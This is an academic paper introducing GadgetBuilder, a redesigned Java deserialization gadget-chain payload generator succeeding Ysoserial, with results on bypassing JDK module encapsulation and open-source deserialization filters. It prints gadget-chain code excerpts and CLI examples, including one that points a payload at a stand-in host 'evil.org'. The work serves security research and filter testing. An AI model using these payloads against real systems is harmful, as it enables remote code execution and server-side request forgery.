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Abstract. The Serializable API remains one of the most significant lia-
bilities to Java application security. In particular, it brings a substantial
share of vulnerabilities related to insecure deserialization entry points
and gadget chains to exploit them. The latter can be attributed in large
part to the gadget chain payload generator Ysoserial. With its unde-
niable value for penetration testing and research, it is regrettable that
this tool received its last update in 2021. Not only does Ysoserial lack
recent gadget chains, but its rigid architecture makes it hard to reuse or
adapt gadgets. Such modifications are, however, crucial to bypass secu-
rity measures in current Java versions. In this work, we overcome these
deficiencies by designing the new payload generator GadgetBuilder. Our
tool combines 31 main gadget chains in Ysoserial with 29 chains from
other sources. It splits up the gadget chain construction into three gad-
get chain fragments. This abstraction increases the effective number of
gadget chains to 303. Further, by using recent gadgets, 17 of the Ysose-
rial gadget chains become viable again for recent Java versions (16 and
above). It also increases the attack surface against Java deserialization
filters. Thereby, our work facilitates a much-needed update to Ysose-
rial that provides security researchers with a comprehensive overview of
deserialization gadget chains.
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1 Introduction

Insecure deserialization is one of the OWASP Top 10 [44] most severe software
vulnerabilities. If an attacker can control the data provided to deserialization,
then they can leverage the deserialization mechanism to execute security-critical
functionalities. Specifically, in object-oriented languages like Java, the issue is
analogous to object injection vulnerabilities (OIV) [14, 54]. The reconstruction
of serialized objects triggers callback methods specific to the underlying class.
It enables code-reuse attacks where an attacker constructs an object and its
properties such that the callbacks trigger further method calls (i.e., gadgets) to,
ultimately, reach a security-sensitive method. This concept is commonly referred
to as a deserialization gadget chain.
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Ysoserial [18] is the de facto reference for deserialization gadget chains in
Java. Since its release in 2015, it has had a vital role in insecure deserialization
entry point detection [17,24,26,46], PoC generation [38], and as a benchmark for
automated gadget chain discovery [10, 12–15, 29, 30, 32–34, 36, 47, 51, 55]. Specif-
ically, the last can be seen as a driver for PoC generation and entry point de-
tection. Thus, one would assume that Ysoserial is continuously updated with
newly discovered gadget chains. However, the last gadget chain added to the
project was in 2021. Furthermore, Ysoserial ’s rigid payload object generation
makes many of its implemented gadget chains fail on recent Java versions (16
and above) [27, 52] due to Java’s strong module encapsulation [11] or removed
gadgets [49]. However, these limitations and deserialization gadget filters [48]
can be overcome by integrating novel gadget fragments [14].

In this work, we synthesize the plethora of newly detected gadgets into a
new gadget chain payload generator – GadgetBuilder. It separates the payload
construction into three gadget chain fragments, allowing variations of full gadget
chains to be created and bypass modern Java security enhancements. Moreover,
we design an API to ease contributing and reusing gadget fragments.

We first increase the number of gadget chains to a total of 60 by systemati-
cally searching for new gadgets found in research. Then, we determine common
execution paths in the beginning and at the end of a gadget chain. This isolates
the critical gadgets from interchangeable portions of the chain. We show that
through this abstraction, 17 of the original (complete) Ysoserial gadget chains
can exploit recent Java versions. Moreover, we test the effectiveness of seven
open-source Java deserialization filters against GadgetBuilder. In all cases, the
relative mitigation provided through filters decreases in comparison to Ysose-
rial. Notably, GadgetBuilder is able to generate 15 payloads circumventing a
filter that thwarts all of Ysoserial ’s chains. This highlights the importance of
having an up-to-date reference for known gadget chains.

Our main contributions are:

1. An abstraction and methodology to generate Java deserialization gadget
chain payloads from three gadget chain fragments. These fragments repre-
sent the beginning of a gadget chain (trampoline), main gadget chain, and
invocation target for sink methods using Java reflection.

2. The tool GadgetBuilder as an update and overhaul of Ysoserial with 29 new
main gadget chains. We open-source GadgetBuilder in Section 9.

3. Experimental proof that, using GadgetBuilder, 17 gadget chains in Ysoserial
can be adapted to circumvent Java’s strong module encapsulation.

4. Experimental proof that GadgetBuilder is more effective at bypassing Java
deserialization filters than Ysoserial.

2 Background

2.1 Java Deserialization Gadget Chains

The exploitation of insecure deserialization in Java relies on two conditions: (1)
an insecure deserialization entry point and (2) the presence of gadgets on the
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application’s classpath leading to a security-sensitive method. For instance, the
insecure deserialization entry point in CVE-2025-24813 [41] is based on Apache
Tomcat ’s internal session handler (see Listing 1). Session files are stored on and
loaded from the server in Java’s native serialization format. Given an exploitable
configuration of a Tomcat server, an attacker could execute a PUT request to
overwrite their own session file with a deserialization payload. Upon loading the
session file, the server would reconstruct the payload at line 8 which leads to the
deserialization of an arbitrary object.

1 class FileStore {
2 public Session load(String id) {
3 File file = file(id);
4 FileInputStream fis = new FileInputStream(
5 file.getAbsolutePath());
6 ObjectInputStream ois = getObjectInputStream(fis);
7 ...
8 ois.readObject();
9 }}

10 class BadAttributeValueExpException implements Serializable {
11 private Object val;
12
13 private void readObject(ObjectInputStream s) {
14 ObjectInputStream.GetField gf = ois.readFields();
15 Object valObj = gf.get("val", null);
16 val = valObj.toString();
17 }}

Listing 1: Insecure deserialization entry point and trigger gadget.

Serializable Java classes may implement custom callback methods, such as read
Object() (line 13), which are invoked during deserialization. Sometimes, the
callbacks themselves suffice to trigger exploitation [45]. However, more often, an
attacker constructs the serialized object’s properties such that they call further
methods (i.e., gadgets), leading to a security-sensitive sink method [18]. Hence,
the term gadget chain. For instance, Java’s BadAttributeValueExpException is
a frequently used trigger gadget to invoke Object.toString(). With Object be-
ing the root of Java’s class hierarchy, any serializable class’s toString() method
is available as a subsequent gadget.

Consider setting the val property (Listing 1, line 11) to an instance of a
JXPath VariablePointer (Listing 2, line 7). Calling toString() on Variable
Pointer invokes the toString() method in the parent class (line 2), which
executes asPath() at line 10. The gadget chain ultimately connects to the
sink method URL.openStream() (line 36) enabling Server Side Request Forgery
(SSRF) or an NTLM (New Technology LAN Manager) reflection attack [61].

In order for the gadget chain in Listing 2 to be a liability to a Java application,
the app must only include the JXPath dependency on its classpath. This makes
gadget chains in dependencies reusable for many applications, independently of
any gadgets the app itself may provide [1]. This is what makes Ysoserial [18] so
effective as a payload generator for known gadget chains in dependencies.

Ysoserial uses a naming convention for gadget chains by the dependency
they target. For instance, the chain in Listing 2 would be named JXPath. In this
work, we follow this convention, referencing gadget chains as they appear either
in the Ysoserial repository [18]1 or in our own artifact (see Section 9).

1 Located at src/main/java/ysoserial/payloads
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1 public class NodePointer implements Serializable {
2 public String toString() {
3 return this.asPath();
4 }
5 }
6
7 public class VariablePointer extends NodePointer {
8 private final QName qName;
9 private Variables variables;

10 public String asPath() {
11 StringBuilder buffer = new StringBuilder();
12 if (isCollection())
13 buffer.append(...);
14 return buffer.toString();
15 }
16 public boolean isCollection() {
17 Object value = variables.getVariable(qName.toString());
18 return ValueUtils.isCollection(value);
19 }
20 }

21 public class ValueUtils {
22 public static boolean isCollection(Object value) {
23 value = getValue(value);
24 return value instanceof Collection;
25 }
26 public static Object getValue(Object object) {
27 while (object instanceof Container)
28 object = ((Container) object).getValue();
29 return object;
30 }
31 }
32 public class DocumentUtils implements Container {
33 private final URL xmlUrl;
34 public Object getValue() {
35 if (document == null) {
36 InputStream stream = xmlUrl.openStream();
37 document = parseXML(stream);
38 }
39 return document;
40 }}

Listing 2: JXPath deserialization gadget chain [61].

2.2 Ysoserial

Ysoserial was initially released in 2015 as a proof-of-concept tool alongside Fro-
hoff and Lawrence’s talk [31] on Java deserialization gadget chains. At that
time, it consisted of four gadget chains for the commons-collections, groovy,
and spring dependencies. Open source, providing a rudimentary framework and
CLI for creating gadget chain payloads, Ysoserial indirectly advertised itself to
security researchers to contribute any new gadget chains to the repository. Con-
sequently, Ysoserial became the tool of choice for exploiting insecure Java dese-
rialization. It consists of 34 gadget chain payloads2, which are continuously used
to generate PoCs against insecure Java deserialization entry points [23,41,59].

Given Ysoserial ’s integral role in PoC generation, it is surprising that the
latest gadget chain added dates back to February 2021. Meanwhile, progressing
research on gadget chain detection [10,12–15,29,30,32,34,36,47,51,55] shows that
many further gadget chains were discovered since then. Moreover, these works
brought forth key concepts around the general architecture of a gadget chain.
Notably, Rasheed et al. [47] shaped the notion of trampoline gadgets, which Chen
et al. [14] further abstracted into gadget fragments. We now know that gadgets or
even sub-gadget-chains are reusable across multiple full gadget chains. To give an
example, the Ysoserial gadget chains Clojure and CommonsCollections6 both
rely on a different gadget fragment leading to Object.hashCode() (see Table
1). However, these fragments can be used interchangeably to create two new
variations of gadget chains.

This observation has two implications. For one, it raises the question about
how novel gadget chain detections should be counted in research. Detecting
new paths to the same trampoline gadget clearly has a lesser impact than
finding an entirely new gadget chain in a dependency. For instance, the al-
ternate path to the trampoline Map.get() found by Crystallizer [55] provides
limited value if other paths to Map.get() in Ysoserial work perfectly fine. On

2 The discrepancy to the 31 main gadget chains mentioned in the abstract is deliberate
and explained in Section 3.2.
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Clojure CommonsCollections6

java.util.HashMap.readObject() java.util.HashSet.readObject()
↪→ java.util.HashMap.hash() ↪→ java.util.HashMap.put()
↪→ java.lang.Object.hashCode() ↪→ java.util.HashMap.hash()

↪→ java.lang.Object.hashCode()

Table 1: Gadget fragments leading to trampoline gadget: Object.hashCode()

the other hand, alternate paths can become valuable to circumvent deserial-
ization filters or patches preventing the execution path. This is the case with
the BadAttributeValueExpException gadget (Listing 1) used in all Ysoserial
chains requiring the trampoline Object.toString(). The class was patched3 in
JDK version 15 due to its induced technical debt in deserialization. Consequently,
five Ysoserial gadget chains can be mitigated by updating to a more recent ver-
sion of the JDK [27]. However, using a new path to Object.toString(), which
was discovered by JDD [14], the Ysoserial chains could be updated to bypass
the patch. Here, one starts to notice the rigidity of Ysoserial as a tool. Indeed,
this is one of many problems that have led to Ysoserial being outdated:

1. Gadget Reusability. As discussed above, the evolution of the JDK or seri-
alization filters may necessitate switching out gadget fragments. Ysoserial ’s
payload generators are constrained to a single path for a full gadget chain.

2. Exploiting Reflection-based Sink Methods. 16 (47.06%) of the gadget
chains in Ysoserial relate to one of the two sink methods: Method.invoke()
or Constructor.newInstance(). Leveraging Java’s Reflection API, this al-
lows invoking an arbitrary method or instantiating an arbitrary class, re-
spectively. However, there are some restrictions on the call target depending
on the taintable parameters of Method.invoke(). For seven gadget chains,
the call target needs to be a getter, i.e., a parameter-less method starting
with get. Ysoserial has worked around this restriction by relying on the
TemplatesImpl gadget to elevate method invocation to arbitrary code execu-
tion. Starting with JDK 16, accessing this class via a gadget chain is restricted
by Java’s strongly encapsulated module system [21,39]. Since all 16 reflection-
based gadget chains are strongly coupled with TemplatesImpl, almost half
of Ysoserial ’s payloads fail on modern JDK versions.

3. Build Process. To provide a single gadget chain specifically for Jdk7u21,
the build target is set to JDK 6. As evidenced by Ysoserial ’s issue tracker4,
this makes the build process cumbersome.

4. Conflicting Dependencies in Gadget Chains. Different versions of a
dependency may contain different gadget chains. This is, e.g., the case with
the Scala library, which is vulnerable to two chains in versions 2.12.3 -
2.12.7 and to another two chains in versions 2.13.0 - 2.13.8 [27]. Since

3 github.com/openjdk/jdk/commit/2d93a28447de4fa692a6282a0ba1e7d99c7c068b
4 Specifically, looking at the open issues 30, 122 and 229.

github.com/openjdk/jdk/commit/2d93a28447de4fa692a6282a0ba1e7d99c7c068b
https://github.com/frohoff/ysoserial/issues/30
https://github.com/frohoff/ysoserial/issues/122
https://github.com/frohoff/ysoserial/issues/229
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having both vulnerable dependency versions in a single tool would create
a conflict, there should be multiple independent releases to maintain these
gadget chains. Ysoserial does not take this into account.

5. Repository Maintenance. Possibly as a consequence of the aforementioned
problems, maintenance efforts on Ysoserial have halted. New gadget chains
contributed through pull requests, issues, or hidden in the newgadgets branch
have not been added to the tool for at least four years.

Ten years after its initial release, it is now overdue to address the problems
in Ysoserial. In the following sections, we detail how we redesign Ysoserial to
overcome its current limitations, evaluate its capacity for bypassing modern Java
security enhancements, and give an outlook on its utility in future research, bug
bounty, and security assessment.

3 GadgetBuilder

3.1 Design Decisions

At its core, GadgetBuilder simplifies the concept of gadget fragmentation [14,
47] into three reusable components: Trampolines, SinkAdapters, and Main
Gadget Chain, depicted in Figure 1. A trampoline T is a sub-gadget-chain
that connects to a highly polymorphic method call within the Java Class Library
(JCL), such as Object.hashCode() or toString(). Observe that the path to
these methods is independent of the main gadget chain G. For example, in
Figure 1, the payload construction within the trampoline only defines how to
assign the TypedValue such that its inherited hashCode() method is triggered.
Similarly, the gadget chain can be decoupled from the execution of a reflection-
based sink method, i.e., the sink adapter S. A gadget chain need not necessarily
consist of all three components. For instance, the Clojure gadget chain uses a
combination T +G, Ceylon1 G+ S, or C3P0 uses only a main gadget chain G.

Fig. 1: Gadget chain construction can be split up into the trampoline gadget T ,
main gadget chain G and sink adapter for reflective call sites S.

Figure 2 shows the architectural implementation of the three gadget components.
By keeping the API in a separate module, we can maintain multiple gadget
chain implementation modules to accommodate for conflicting dependencies.
During runtime, one can then dynamically retrieve all concrete gadget chain
implementations that are available through the classpath.
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Fig. 2: GadgetBuilder core API.

3.2 Overview of Gadget Chains

As a basis, we take the 34 gadget chain payloads in Ysoserial. Of those, two
are duplicates using a different sink adapter (Hibernate and MyFaces), and,
as outlined in Section 2.2, we leave out the Jdk7u21 gadget chain because it
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aggravates the build process. We further find ten gadget chains in the new-
gadgets branch of the repository and five gadget chains in pull requests5.

We also review the publications and repositories to gadget chain detection
tools [10, 12–15, 29, 30, 32–34, 36, 47, 51, 55]. The authors of JDD disclose three
novel gadget chains and three new paths to the toString() trampoline [14].
Tabby [15] and SerDeSniffer [34] each highlight two new gadget chains in the
C3P0 and Clojure dependencies, respectively, while HawkGadget [58] show-
cases an alternate trampoline path to Map.get(). Further, we find three gad-
get chains described in the BlackHat Europe ’19 proceedings [61] targeting the
URL.openStream() sink method for SSRF or NTLM-reflection attacks. Bech-
ler [8] discloses another gadget chain in the Apache XBean dependency.

When searching the National Vulnerability Database (NVD) for insecure de-
serialization (the common weakness enumeration CWE-502), the entries mostly
relate to insecure deserialization entry points and not gadget chains [27]. An ex-
ception to this is CVE-2022-36944 – a gadget chain in the Scala library, which is
not part of Ysoserial. A keyword search6 on the bug bounty platform HackerOne
and Pentester.land write-ups yields one more full gadget chain [23] and a sink
adapter leading to RCE on vulnerable PostgreSQL JDBC driver versions [39].

Table 2 summarizes the gadget chains available to GadgetBuilder. Note that
we included an additional trampoline gadget for Comparator.compareTo() in
Java’s ConcurrentSkipListMap and two sink method adapters: FileOutput-
Stream.<init>() (overwrite or create an empty file) and URL.getContent()
(SSRF or NTLM reflection). While easy to find, these gadgets were not explicitly
mentioned by any of the other sources.

Source Chains Trampolines SinkAdapters

Ysoserial [18] 31 8 3
new-gadgets [18] 10 - -
Pull Requests [18] 5 - -
Forks [56] 1 - -

Black Hat [61] 3 - -
Bechler [8] 1 - -
GC Detectors [14, 15,34,58] 7 8 -
CVE-2022-36944 [40, 60] 1 - -
BugBounty [39, 59] 1 - 1

Others - 1 2

Total 60 17 6

Table 2: Overview of gadget chains in GadgetBuilder.

5 Jython3 and JythonZeroFile in pull request 153, WildFly1 in 177, MozillaRhino3 in
192, and Jython4 in 200.

6 Using cwe:("Deserialization of Untrusted Data") AND disclosed:true or
’Java’ and ’Deserialization’.

https://github.com/frohoff/ysoserial/pull/153
https://github.com/frohoff/ysoserial/pull/177
https://github.com/frohoff/ysoserial/pull/192
https://github.com/frohoff/ysoserial/pull/200
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Using the principle outlined in Section 3.1, the 60 main gadget chains in Ta-
ble 2 can be combined with applicable trampolines and sink adapters. Thus,
GadgetBuilder can construct a total 303 full gadget chains. This number is cal-
culated by multiplying applicable sinks and trampolines per main gadget chain
and summing up those values.

4 Experimentation and Evaluation

We evaluate GadgetBuilder ’s effectiveness in comparison to Ysoserial against
different versions of the OpenJDK and deserialization filters. Specifically, we
aim to answer the following research questions:

RQ1 Can GadgetBuilder adapt Ysoserial ’s gadget chains to bypass Java’s strong
module encapsulation and security patches [27,52]?

RQ2 How effective are deserialization filters at preventing the gadget chains in
GadgetBuilder?

4.1 Setup

To answer both research questions, we create a simple vulnerable application that
deserializes an input file through ObjectInputStream.readObject(). During
execution, the app includes all dependencies providing gadgets for gadget chains
within Ysoserial and GadgetBuilder on its classpath.

For RQ1, we download 44 OpenJDK binaries, covering the major release
versions from 9 to 24, from the OpenJDK archive [42]. In each run, we use the
same JDK version for generating payloads with Ysoserial or GadgetBuilder as
is used for executing the test app (see Section 9). This ensures that deserializa-
tion payloads will not fail due to mismatching serialVersionUIDs. For payload
generation, we use the --add-opens flag [43] to grant reflective access to inter-
nal Java modules. This disables Java’s strong module encapsulation, which can
hamper the payload construction. However, since this is an unlikely environment
option in a vulnerable target application, we do not launch the test app with
this flag. These configurations enable a sound payload construction, while testing
faithful to real-world conditions.

Answering RQ2, requires a set of real-world deserialization filters. We employ
the search terms in Listing 3 to find open-source filters. Thereby, the Google
search (lines 2-3) emulates how a security operative may find a template filter list,
whereas the GitHub search (lines 6-7) aims to find implementations in real-world
projects. We restrict our search to projects of the Apache Software Foundation
on GitHub because otherwise, search results become polluted with meaningless
repositories. Since there is no strict convention for naming filter list files, we
instead use common gadget names in GitHub’s code search (Listing 3, lines 5
& 6). As a result, we find three standalone deserialization filters [16, 20, 35] and
four filters implemented in Apache projects [4–7]. During each experimentation
run, the test application is armed with one of these seven filters.
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1 # Google
2 java deserialization blacklist inurl:"github.com"|"bitbucket.org"|"gitlab.com"
3 java serial filter inurl:"github.com"|"bitbucket.org"|"gitlab.com"
4 # GitHub
5 org:apache com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
6 org:apache org.apache.commons.collections.functors

Listing 3: Search terms for finding deserialization filter lists.

4.2 RQ1 - Bypassing Strong Module Encapsulation

Two previous works [27,52] assessed the gadget chains in Ysoserial to determine
the dependency and JDK version range they can potentially exploit. It showed
that 21 gadget chain payloads can be mitigated by using a more recent JDK
version. However, these works assume that the original Ysoserial chains are
used without adaptation to new trampoline paths or sink method adapters. We
demonstrate that GadgetBuilder adapts gadget chains to circumvent patched
paths and strong module encapsulation. That is, for a Ysoserial gadget chain
payload failing on an OpenJDK version vi, we test all generated variants from
GadgetBuilder for vi and all successor versions vi+n.

The results are shown in Table 3. 12 gadget chains were successfully adapted
to exploit all recent OpenJDK versions, from version 16 up, using an alter-
nate sink adapter. By the same token, another five chains (Table 3, second row)
benefited from the new trampoline path to toString(), and in the case of Mozil-
laRhino1 and Vaadin1, in combination with a different sink adapter. The gadget
chains Spring1 and Spring2 only work on Oracle JDKs up to version 7. This
is because the chain relies on using a specific InvocationHandler that could
be used to return an arbitrary value from a proxied method call in old JDK
versions 7. This behavior is patched for all OpenJDK versions considered in the
experiment, and we could find no alternate InvocationHandler to emulate this
behavior. Neither can the Groovy1 gadget chain be ported to newer JDK versions
due to an incompatibility of the old Groovy dependency containing the gadgets
with JDK versions ≥ 14. The payload crashes the JVM during the gadget’s
class initialization, before the payload can be executed. During experimenta-
tion, Ysoserial ’s Clojure1 gadget chain exploited all JDK versions considered.
This mismatch to [27] could have occurred due to the previous work not accom-
modating for this specific chain’s behavior of temporarily hanging the app. Since
the chain is indeed functional across all JDK versions, we do not include it in
Table 3.

Overall, this implies GadgetBuilder was able to bring back 17 (85% ) of 20
Ysoserial gadget chains, which were mitigated through the evolution of the JDK.
This was achieved by replacing the original TemplatesImpl sink gadget with
an alternate reflection-based sink method, and/or using a different path to the
trampoline Object.toString().

7 Ref.: Spring’s MethodInvokeTypeProvider and Java’s AnnotationInvocationHandler

https://github.com/spring-projects/spring-framework/blob/v4.1.4.RELEASE/spring-core/src/main/java/org/springframework/core/SerializableTypeWrapper.java
https://github.com/openjdk/jdk/blob/jdk-9%2B180/jdk/src/java.base/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
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OpenJDK Versions
Gadget Chains Ysoserial GadgetBuilder

CommonsBeanutils1, CommonsCollections2, Common-
sCollections4, CommonsCollections8, Hibernate1, Mozil-
laRhino2, Ceylon, Click1, JBossInterceptors1, Javassist-
Weld1, ROME, ROME2

9 - 15 9 - 24

CommonsCollections5, CommonsCollections9, Mozil-
laRhino1, Vaadin1, Atomikos

9 - 14 9 - 24

Spring1, Spring2 - -
Groovy1 9 - 13 9 - 13

Table 3: Exposure of JDK versions to Ysoserial and adapted GadgetBuilder
gadget chains.

4.3 RQ2 - Bypassing Deserialization Filters

A deserialization filter is effective if calling ObjectInputStream.readObject()
throws an InvalidClassException with the REJECTED status [48]. As such, we
can validate if an ObjectInputFilter blocked the execution of a deserializa-
tion gadget chain from the error message. Table 4 shows the results of running
the deserialization payloads in Ysoserial and GadgetBuilder on the respective
deserialization filters. The RCE and non-RCE columns show the number of un-
filtered gadget chains leading to remote code execution or with a different secu-
rity impact, respectively. Note that the Ysoserial columns exclude the gadget
chain Jdk7u121 since it targets a JDK version older than the one for which
ObjectInputFilters were first introduced.

Ysoserial GadgetBuilder
RCE non-RCE Blocked RCE non-RCE Blocked

SerialKiller [35] 2 2 29 (87.88% ) 35 70 198 (65.35% )
NotSoSerial [16] 7 11 15 (45.45% ) 34 180 89 (29.37% )
MogwaiLabs [20] 1 1 31 (93.94% ) 28 66 209 (68.98% )
Apache Ignite [6] 11 11 11 (33.33% ) 54 185 64 (21.12% )
Apache Kafka [7] 7 11 15 (45.45% ) 34 180 89 (29.37% )
Apache Fury [5] 1 1 31 (93.94% ) 5 47 256 (84.49% )
Apache Dubbo [4] 0 0 33 (100% ) 0 15 288 (95.05% )

Table 4: Effectiveness of deserialization filter lists in blocking gadget chains.

With GadgetBuilder providing variants of gadget chains using different tram-
polines or sink method adapters, it is not surprising that the tool outperforms
Ysoserial in absolute numbers. More interestingly, for all filter lists, the miti-
gation effectiveness is degrading in relative numbers. This is most drastic with
Apache Dubbo, which uses a stringent filter that thwarts all Ysoserial gad-
get chains but contains holes when it comes to some of the more recent chains
from GadgetBuilder. The 15 gadget chains bypassing Dubbo’s filter relate to
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seven main gadget chains in five dependencies: Ceylon, Click1, HTMLParser,
Struts2Jasper-Reports, and Scala1-3. However, the filter blocked the Scala4 gad-
get chain by disallowing deserialization of java.lang.Class.

The results show that all considered filters were targeting Ysoserial. With
this point of reference no longer being updated, software maintainers are left
with the false sense of security that their deserialization filters are complete.

5 Using GadgetBuilder

Deserialization gadget chains are a complicated and highly specific attack vector.
As such, the tool should be easy to use as a payload generator without in-
depth knowledge of gadget chains. Simultaneously, it should enable specialized
security researchers to benefit from reusable components through the API. In
the following subsections, we show how GadgetBuilder ’s command line interface
and API streamline payload generation for new gadget chains.

5.1 GadgetBuilder Command Line

By default, GadgetBuilder hides the gadget chain construction (see Section 3.1)
from users. Thus, simple usage requires only defining the main gadget chain
and the payload command (Listing 4, line 2). In this setting, the tool uses a
preconfigured trampoline and sink method adapter to generate the payload. If
needed, specific implementations can be supplied with the -t and -a parameters,
respectively (line 4). We provide further documentation to the CLI in Section 9.

1 java -jar gadgetbuilder.jar -g <chainName> -c <command> -o <outputFile>
2 java -jar gadgetbuilder.jar -g Hibernate1 -c "touch proof.txt" -o payload.bin
3 java -jar gadgetbuilder.jar -g Hibernate1 -c "http://evil.org:8000" -o payload.bin \
4 -t ConcurrentHashMapTrampoline -a URLMethodInvokeAdapter

Listing 4: CLI usage examples.

In itself, the CLI is useful for penetration testers and automated security assess-
ment tools. For instance, ObjectMap [26], the BurpSuite deserialization scan-
ner [17], JMET (the Java Message Exploitation Tool) [24], and Metasploit [46]
rely on Ysoserial payloads to verify insecure deserialization entry points. The
GadgetBuilder CLI can be used in place to generate the 303 payloads, which
cover a substantially larger attack surface than the 34 payloads in Ysoserial
(see Section 4).

5.2 GadgetBuilder API

Ysoserial ’s payload generators frequently copy-paste boilerplate code to wire a
main gadget chain together with a trampoline and sink adapter. Consider the
generator for the CommonsBeanutils gadget chain in Listing 5. Only lines 4 and



GadgetBuilder 13

8 are related to setting up the main gadget chain from Comparator.compare()
to Method.invoke(). The remaining code mostly concerns setting up the path
to trigger the compare() trampoline (lines 5-7 and 9-12). Moreover, linking the
sink adapter is tightly coupled with the payload generator, as at line 8 the
Method.invoke() call is hardwired to getOutputProperties() in Ysoserial ’s
signature TemplatesImpl gadget.

1 class CommonsBeanutils1 implements ObjectPayload<Object> {
2 public Object getObject(final String command) throws Exception {
3 Object templates = Gadgets.createTemplatesImpl(command);
4 BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
5 PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
6 queue.add(new BigInteger("1"));
7 queue.add(new BigInteger("1"));
8 Reflections.setFieldValue(comparator, "property", "outputProperties");
9 final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");

10 queueArray[0] = templates;
11 queueArray[1] = templates;
12 return queue; }}

Listing 5: Ysoserial payload generator for the CommonsBeanutils [18] gadget
chain. Highlighted code sections related to: – main gadget chain, –
trampoline, and – sink adapter.

GadgetBuilder introduces a TrampolineConnector structure that provides a
trampoline generator with all the necessary parameters for its connection to
the main gadget chain (see Listing 6, line 7). The actual invocation target of
Method.invoke() is retrieved from the sink adapter implementation (line 5).
Again, this both enables the reusability of gadget fragments and simplifies the
definition of new gadget chain payload generators. As we discuss in Section 6,
the latter aspect is crucial towards contributing new gadget chains and fuzzing.

1 class CommonsBeanutils1 extends
2 MethodInvokeGadgetChain<CompareTrampoline,GetterMethodInvokeAdapter> {
3 protected TrampolineConnector createPayload(String command) throws Exception {
4 BeanComparator comparator = new BeanComparator(
5 this.methodInvokeAdapter.getGetterMethodProperty(), String.CASE_INSENSITIVE_ORDER);
6 Object sink = this.methodInvokeAdapter.getInvocationTarget(command);
7 return new TrampolineConnector(comparator, sink, sink); }}

Listing 6: GadgetBuilder payload generator for the CommonsBeanutils chain.

The GadgetBuilder CLI can access the payload generator in Listing 6 by includ-
ing it on its classpath. Alternatively, one can equip the main gadget chain with
a specific trampoline and sink adapter from code as shown in Listing 7.

1 GadgetChain chain = new CommonsBeanutils1(
2 new PriorityQueueCompare(), new TemplatesImplMethodInvokeAdapter());
3 Object payload = chain.build("touch proof.txt");

Listing 7: Concretizing a gadget chain implementation to a serializable payload.
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6 Discussion

6.1 Maintenance

One of the strong motivations to design a new deserialization gadget chain pay-
load generator is the lack of maintenance of Ysoserial. Like Ysoserial, we open-
source GadgetBuilder (Section 9) and rely on the community to contribute new
gadget chains upon discovery. Therefore, we need to consider aspects of Gadget-
Builder ’s future maintenance – technically and institutionally.

From a technical standpoint, GadgetBuilder drastically improves reusability.
Separating the gadget chain constructions into three main fragments enables
independent contribution to these components. Crucial new trampoline gadget
paths, like the one to Object.toString() found by JDD [14], could not have
been easily added to Ysoserial. It would require rewriting all toString-based
payload generators to use the new gadget. Conversely, with GadgetBuilder, such
a contribution requires only a new implementation of the ToStringTrampoline
interface, which is agnostic of the main gadget chain it is later used with.

Additionally, modularizing the API and gadget chain implementations into
separate packages, allows for the rotation of older gadget chains from the main
release modules without having to remove the chain itself. In Ysoserial, this
would lead to package naming conflicts upon addition of gadget chains relying
on the same dependency in different versions. Instead, we plan multiple releases
containing the main GadgetBuilder chain package alongside legacy modules con-
taining the payload generators for older gadget chains.

While Ysoserial is mostly maintained by a single person, GadgetBuilder will
be maintained by a university research group. This change increases the likeli-
hood of long-term project maintenance. It is quite common for new members
to pick up the previous work (see, e.g., AndroZoo [2, 3] or Soot [25, 57]) or for
other research institutions to critically assess tools that become deprecated (e.g.,
Magma [22,50]). Through numerous publications [10,12–15,27–30,32,34,36,47,
52, 55], Ysoserial has been utilized by the research community without being
questioned. This work elevates Ysoserial to an ongoing research endeavor.

6.2 Opportunities

As demonstrated in Section 4, through the gadget fragmentation approach and
adding new gadgets (chains), GadgetBuilder increases the area of exposure to be
assessed in insecure Java deserialization. This has a direct impact on security
assessment and mitigation efforts. Specifically, our efforts ensure deserial-
ization filters remain a viable strategy to mitigate gadget chains at a low cost.

GadgetBuilder not only increases the corpus of ground-truth gadget chains
used to benchmark gadget chain detection tools but also reformulates
the definition of “detecting novel gadget chains” in itself. We are deliberately
careful with the statement that our tool contains 303 unique gadget chains.
While technically true, 80% of these chains reuse trampolines and sink adapters
from one another. Therefore, we believe it is more accurate to speak of the 60
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main gadget chains within GadgetBuilder. By the same token, the evaluation of
gadget chain detectors should clearly distinguish how many of the gadget chains
found relate to completely new chains or alternative trampoline paths.

Furthermore, GadgetBuilder can aid in gadget chain fuzzing. Converting
a statically detected gadget chain into a well-formed Java object for fuzzing is
an ongoing research problem [12,14,55]. For instance, the gadget chain detector
Crystallizer [55] relies on reusing hard-coded gadget fragments while concretizing
gadget chains into fuzzer inputs. GadgetBuilder ’s trampolines and sink adapters
provide interchangeable gadget fragments for fuzzing a main gadget chain. In
fact, the API includes public methods to attach a trampoline or sink adapter,
agnostic of the remaining chain.

6.3 Limitations and Future Work

In this work, we considered publicly disclosed gadget chains. This in itself in-
creased the number of main gadget chains from 31 in Ysoserial to 60 in our tool.
Unfortunately, publications on gadget chain detectors often do not fully disclose
the true positives detected. As alluded to in Section 3.2, we relied on auxiliary
repositories related to the publication, which disclose some (and likely novel) ver-
ified gadget chains. This is still only a fraction of the claimed detections within
publications (e.g., 116 in JDD [14] or 53 in Tabby [15]). While these numbers
likely relate to different trampoline gadget variations, future work could redo
the experiments in the respective publications. This endeavor involves manually
assessing large numbers of detected gadget chains to determine whether they are
true positives. This task was out of scope for this work.

Further, we restricted ourselves to gadget chains for Java native serialization.
Deserialization gadget chains also exist for third-party deserialization libraries
such as Hessian, XStream, or SnakeYaml [8]. To stay in line with Ysoserial being
designed as an exploitation tool for the Java Serializable API and to keep the
design simple, we decided against including third-party deserializers in our work.

In Section 4.3, we considered deserialization ignore lists. Using an allow list
generally provides better protection. However, it requires rigorous testing to
avoid edge cases where implicitly disallowing a class breaks application logic.
This is why there are still many ignore lists in use, e.g., within Apache projects.
Regardless, bypassing a deserialization allow list requires analyzing the target
application itself. Here, security assessment should rely on a gadget chain detec-
tor (e.g., JDD [14] or Tabby [15]) rather than generic payload generators such
as Ysoserial or GadgetBuilder.

7 Related Work

This work is centered around the payload generator Ysoserial [18, 31] for
Java deserialization gadget chains. Projects similar to Ysoserial exist for other
object-oriented languages such as PHP [53] and C# [37]. It is just as important
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to keep these tools up-to-date, albeit the gap between the payload generator and
emerging research results is not as evident as with Ysoserial.

